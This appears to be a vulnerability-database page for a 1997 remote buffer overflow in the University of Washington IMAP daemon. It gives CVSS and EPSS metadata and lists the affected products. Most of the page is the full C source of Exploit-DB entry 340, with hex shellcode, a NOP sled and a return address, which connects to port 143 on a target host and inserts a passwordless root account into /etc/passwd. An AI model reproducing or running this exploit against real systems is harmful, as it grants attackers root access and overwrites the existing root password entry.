Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 340
Publication date : 1997-06-23 22h00 +00:00
Author : p1
EDB Verified : Yes
/*
This is the remote exploit of the hole in the imap daemon, for
Linux. The instruction code is doing open(), write(), and close()
system calls, and it adds a line root::0:0.. at the beggining of
/etc/passwd (change to /etc/shadow if needed). The code needs to
be self modifying since imapd turns everything to lowercase before
it pushes it on the stack. The problem is that it rewrites the
first line of passwd/shadow, therefore loosing the root password.
I'm sorry, but I don't have time to add in the seek syscall.
- Akylonius (aky@galeb.etf.bg.ac.yu) [1997]
Modifications made on 5.1.97 to accept command line hostname, with
'h_to_ip' function that resolves it to an ip. - p1 (p1@el8.org)
*/
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>
char *h_to_ip(char *hostname);
char *h_to_ip(char *hostname) {
struct hostent *h;
struct sockaddr_in tmp;
struct in_addr in;
h = gethostbyname(hostname);
if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }
memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
memcpy(&in,&tmp.sin_addr.s_addr,4);
return(inet_ntoa(in));
}
void banner(void) {
system("clear");
printf("\nIMAP Exploit for Linux.\n");
printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
printf(" Modifications: p1 (p1@el8.org)\n");
}
main(int argc, char **argv) {
int fd;
struct sockaddr_in sckdaddr;
char *hostname;
char buf[4092];
int i=8;
char realegg[] =
"\xeb\x58\x5e"
"\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
"\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
"\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
"\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
"\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
"\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
"\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
"\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
"/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';
banner();
if (argc<2) {
printf("\nUsage: %s <hostname>\n\n", argv[0]);
exit(-1);
}
hostname=argv[1];
while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
buf[i++]=0x90;
while(*point)
buf[i++]=*(point++);
buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='\n';
buf[i++]=0x0;
if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. \n");
sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
perror("Error with connecting. \n");
printf("hmm: \n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: \n");
close(fd);
}
// milw0rm.com [1997-06-24]
Products Mentioned
Configuraton 0
University_of_washington>>Imap >> Version 4
University_of_washington>>Pop >> Version 3
Configuraton 0
Bsdi>>Bsd_os >> Version 2.1
Bsdi>>Bsd_os >> Version 3.0
Caldera>>Openlinux >> Version 1.0
Ibm>>Aix >> Version 4.2.1
Redhat>>Linux >> Version 2.0
Redhat>>Linux >> Version 4.0
References